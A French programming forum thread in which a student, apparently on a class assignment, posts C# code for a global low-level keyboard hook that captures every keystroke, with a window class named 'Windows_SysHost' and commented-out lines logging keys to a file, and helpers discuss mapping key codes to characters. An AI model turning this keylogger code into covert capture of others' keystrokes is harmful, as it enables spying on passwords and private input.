L'ASCII c'est bien mais...

tigerskin Messages postés 39 Date d'inscription jeudi 26 mai 2005 Statut Membre Dernière intervention 24 juillet 2012 - 4 juil. 2012 à 16:20
madkeyboard Messages postés 100 Date d'inscription mercredi 27 avril 2011 Statut Membre Dernière intervention 21 décembre 2012 - 10 juil. 2012 à 10:44
Bonjour à tous !

Dans un but éducatif, l'un des mes professeurs d'info nous a demandé de réaliser un petit keylogger en C#.

Il fonctionne à peu près mais j'ai un petit souci (sinon je ne serais pas la :p), voici un exemple : lorsque je tape sur la touche "&" (ampersand en ASCII), ma KeyValue vaut 49, ce qui correspond en ASCII au chiffre 1. Mon programme écrit donc "1" au lieu de "&", et j'ai évidemment le même problème pour tous mes caractères spéciaux...

Quelqu'un aurait-il une idée pour contourner ce problème ?

Merci d'avance !

9 réponses

Whismeril Messages postés 19025 Date d'inscription mardi 11 mars 2003 Statut Contributeur Dernière intervention 19 avril 2024 656
4 juil. 2012 à 19:36
Bonsoir, commence par faire voir ton code....
citation de NHenry:
[list=ordered][*]Pour poser correctement une question et optimiser vos chances d'obtenir des réponses, pensez à lire le règlement CS, celui-ci pour bien poser votre question ou encore celui-ci pour les PFE et autres exercices[*]Quand vous postez un code, merci d'utiliser la coloration syntaxique (3ième icône en partant de la droite : )
[*]En VB.NET pensez à activer Option Explicit et Option Strict (propriété du projet) et à retirer l'import automatique de l'espace de nom Microsoft.VisualVasic (onglet Références dans les propriétés du projet).
[*]Si votre problème est résolu (et uniquement si c'est le cas), pensez à mettre "Réponse acceptée" sur le ou les messages qui vous ont aidés./list



Whismeril
0
madkeyboard Messages postés 100 Date d'inscription mercredi 27 avril 2011 Statut Membre Dernière intervention 21 décembre 2012 1
9 juil. 2012 à 09:38
Salut,

Tu peux essayer de fonctionner avec la propriété KeyCode ??
Mais comme dis whismeril, tant que tu ne nous met pas ton exemple de code, on aura qu'une très vague idée de ce que tu cherche à faire, et on va avoir du mal à t'aider...

Mad Keyboard
0
tigerskin Messages postés 39 Date d'inscription jeudi 26 mai 2005 Statut Membre Dernière intervention 24 juillet 2012
9 juil. 2012 à 11:43
Salut !

Tu peux essayer de fonctionner avec la propriété KeyCode ??


J'ai déjà essayé mais j'ai le même souci.

Je vous mets le code cet après-midi, désolé de ne pas l'avoir fait avant
0
tigerskin Messages postés 39 Date d'inscription jeudi 26 mai 2005 Statut Membre Dernière intervention 24 juillet 2012
9 juil. 2012 à 13:34
Ci-dessous la partie qui me sert au hook.

using System;
using System.Text;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Windows.Forms;   

public class GlobalKeyboardHook
{
    [DllImport("user32.dll")]
    static extern int CallNextHookEx(IntPtr hhk, int code, int wParam, ref keyBoardHookStruct lParam);
    [DllImport("user32.dll")]
    static extern IntPtr SetWindowsHookEx(int idHook, LLKeyboardHook callback, IntPtr hInstance, uint theardID);
    [DllImport("user32.dll")]
    static extern bool UnhookWindowsHookEx(IntPtr hInstance);
    [DllImport("kernel32.dll")]
    static extern IntPtr LoadLibrary(string lpFileName);

    public delegate int LLKeyboardHook(int Code, int wParam, ref keyBoardHookStruct lParam);

    public struct keyBoardHookStruct
    {
        public int vkCode;
        public int scanCode;
        public int flags;
        public int time;
        public int dwExtraInfo;
    }

    const int WH_KEYBOARD_LL = 13;
    const int WM_KEYDOWN = 0x0100;
    const int WM_KEYUP = 0x0101;
    const int WM_SYSKEYDOWN = 0x0104;
    const int WM_SYSKEYUP = 0x0105;

    LLKeyboardHook llkh;
    public List<Keys> HookedKeys = new List<Keys>();

    IntPtr Hook = IntPtr.Zero;

    public event KeyEventHandler KeyDown;
    public event KeyEventHandler KeyUp;

    // This is the Constructor. This is the code that runs every time you create a new GlobalKeyboardHook object
    public GlobalKeyboardHook()
    {
        llkh = new LLKeyboardHook(HookProc);
        // This starts the hook. You can leave this as comment and you have to start it manually (the thing I do in the tutorial, with the button)
        // Or delete the comment mark and your hook will start automatically when your program starts (because a new GlobalKeyboardHook object is created)
        // That's why there are duplicates, because you start it twice! I'm sorry, I haven't noticed this...
        // hook(); <-- Choose!
    }
    ~GlobalKeyboardHook()
    { unhook(); }

    public void hook()
    {
        IntPtr hInstance = LoadLibrary("User32");
        Hook = SetWindowsHookEx(WH_KEYBOARD_LL, llkh, hInstance, 0);
    }

    public void unhook()
    {
        UnhookWindowsHookEx(Hook);
    }

    public int HookProc(int Code, int wParam, ref keyBoardHookStruct lParam)
    {
        if (Code >= 0)
        {
           Keys key = (Keys)lParam.vkCode;
           if (HookedKeys.Contains(key))
            {
                KeyEventArgs kArg = new KeyEventArgs(key);
                if ((wParam WM_KEYDOWN || wParam WM_SYSKEYDOWN) && (KeyDown != null))
                    KeyDown(this, kArg);
                else if ((wParam WM_KEYUP || wParam WM_SYSKEYUP) && (KeyUp != null))
                    KeyUp(this, kArg);
                if (kArg.Handled)
                    return 1;
            }
        }
        return CallNextHookEx(Hook, Code, wParam, ref lParam);
    }
}
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
tigerskin Messages postés 39 Date d'inscription jeudi 26 mai 2005 Statut Membre Dernière intervention 24 juillet 2012
9 juil. 2012 à 13:44
Et voici la partie "Fenêtre"

namespace Windows_SysHost
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        GlobalKeyboardHook gHook;
        private void Form1_Load(object sender, EventArgs e)
        {
            gHook = new GlobalKeyboardHook();
            gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
                gHook.HookedKeys.Add(key);
            gHook.hook();
        }

        // Quand une touche est pressée
        public void gHook_KeyDown(object sender, KeyEventArgs e)
        { 
            //StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);          
            //sw.Write((char)e.KeyValue);
            //sw.Close();

            textBox1.Text += ((char)e.KeyData).ToString();
        }

        //Fermeture de la fenêtre
        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            gHook.unhook();
        }
    }
}
0
cs_jopop Messages postés 1540 Date d'inscription lundi 26 mai 2003 Statut Membre Dernière intervention 1 août 2013 12
9 juil. 2012 à 15:21
Salut,

d'après ce lien, hors [0-9][A-Z] , il n'y a pas de correspondance sûre entre les KeyCode/Data/Value et l'encodage ASCII.
0
tigerskin Messages postés 39 Date d'inscription jeudi 26 mai 2005 Statut Membre Dernière intervention 24 juillet 2012
9 juil. 2012 à 17:26
Merci pour la réponse.

Donc si je comprends bien, je dois traiter manuellement les codes retour KeyValue pour pouvoir afficher la "vraie" touche tapée par l'utilisateur ?
0
cs_jopop Messages postés 1540 Date d'inscription lundi 26 mai 2003 Statut Membre Dernière intervention 1 août 2013 12
10 juil. 2012 à 09:00
J'en ai bien peur. A voir si d'autres helpers arrivent avec de meilleures nouvelles.
0
madkeyboard Messages postés 100 Date d'inscription mercredi 27 avril 2011 Statut Membre Dernière intervention 21 décembre 2012 1
10 juil. 2012 à 10:44
Salut !

Je suis loin d'être un spécialiste, et j'ai jamais codé de hook, donc je pige pas tout dans le détail le fonctionnement de ton programme...

Par contre, j'ai tenté de le faire tourner chez moi, j'en arrive à la même conclusion que jojpop : faut tout revoir à la main ! (dans ce cas là, c'est le code de la flèche du haut qui donne le "&" !)

J'ai la sensation que y'a d'autres solutions, mais c'est pas moi qui les ais ^^

Bon courage !

Mad Keyboard
0
Rejoignez-nous